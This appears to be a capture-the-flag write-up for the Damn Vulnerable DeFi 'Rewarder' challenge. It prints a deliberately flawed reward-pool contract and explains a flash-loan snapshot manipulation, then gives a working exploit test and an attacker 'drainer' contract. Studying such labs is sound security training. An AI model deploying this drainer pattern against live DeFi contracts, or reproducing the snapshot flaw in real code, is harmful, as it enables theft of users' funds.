Damn Vulnerable Defi 5: The Rewarder

Challenge:

Our fifth challenge is called ‘the rewarder’ and it comes with the following prompt:

There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?

So all we have to do is drain the pool!

The contracts for this challenge are located in contracts/the-rewarder/. Due to the number of contracts, I will only include the source code for our RewarderPool:

TheRewarderPool.sol:
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 */
contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token deposited into the pool by users
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public accToken;
    
    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    // Track number of rounds
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice sender must have approved `amountToDeposit` liquidity tokens in advance
     */
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

    function withdraw(uint256 amountToWithdraw) external {
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;

        if(isNewRewardsRound()) {
            _recordSnapshot();
        }        
        
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

The hints and solutions for this level can be found below:

Hint 1:

Another standard flash loan. We have to repay it, but of course we must be able to do something with the borrowed funds before we repay it. Looking at the rewarder pool, what functions can we combine to both modify our rewards and repay our flash loan?

Hint 2:

How are the rewards calculated and distributed?

Solution:

The flash loan allows us to create a contract that implements the receiveFlashLoan(uint256) function. If we look at the TheRewarderPool.sol contract, we can see that the reward tokens are distrubuted using the following formula: rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;. This means that rewards are calculated using a ratio of how many tokens you deposit to how many tokens are already deposited. We can see right away that for very large amounts deposited, the factor for the already deposited tokens becomes negligible. Thus, by making a large deposit of DVT tokens, we can take almost all of the rewards in the pool. The path to do so is straightforward, we simply have to wait the 5 days for a new snapshot to be eligible, and then we can take a flash loan and call the deposit(uint256) and withdraw(uint256) functions to update the snapshot and then transfer the tokens back. Finally, we can simply transfer the reward tokens our contract accrued to the attacker to complete the challenge.

Ethers Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
        const RewarderAttackerFactory = await ethers.getContractFactory('RewarderPoolDrainer', deployer);
        this.r_attacker = await RewarderAttackerFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address);
        await this.r_attacker.attack(TOKENS_IN_LENDER_POOL);
        await this.r_attacker.payAttacker(attacker.address, this.rewardToken.address, ethers.utils.parseEther('100').sub(ethers.utils.parseUnits('1', 17)));
        await this.r_attacker.payAttacker(attacker.address, this.rewardToken.address, 1);
    });
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title RewarderPoolDrainer.sol
 * @author securerodd
 */
 interface IRewarderPool { 
   function deposit(uint256) external payable;
   function withdraw(uint256) external payable;
}

interface IFlashLoaner {
   function flashLoan(uint256) external;
}

interface ILiquidityToken {
    function approve(address, uint256) external;
    function transfer(address, uint256) external;
}

interface IRewardToken {
    function transfer(address, uint256) external;
}

contract RewarderPoolDrainer {
    IRewarderPool public pool;
    IFlashLoaner public lender;
    ILiquidityToken public token;
    constructor(address _poolAddress, address _lenderAddress, address _token) {
        pool = IRewarderPool(_poolAddress);
        lender = IFlashLoaner(_lenderAddress);
        token = ILiquidityToken(_token);
    }

    function receiveFlashLoan(uint256 _amount) external {
        token.approve(address(pool), _amount);
        pool.deposit(_amount);
        pool.withdraw(_amount);
        token.transfer(address(lender), _amount);
    }

    function payAttacker(address _attacker, address _rewardToken, uint256 _amount) external {
        IRewardToken rewardToken = IRewardToken(_rewardToken);
        rewardToken.transfer(_attacker, _amount);
    }

    function attack(uint _amount) external {
        lender.flashLoan(_amount);
    }
}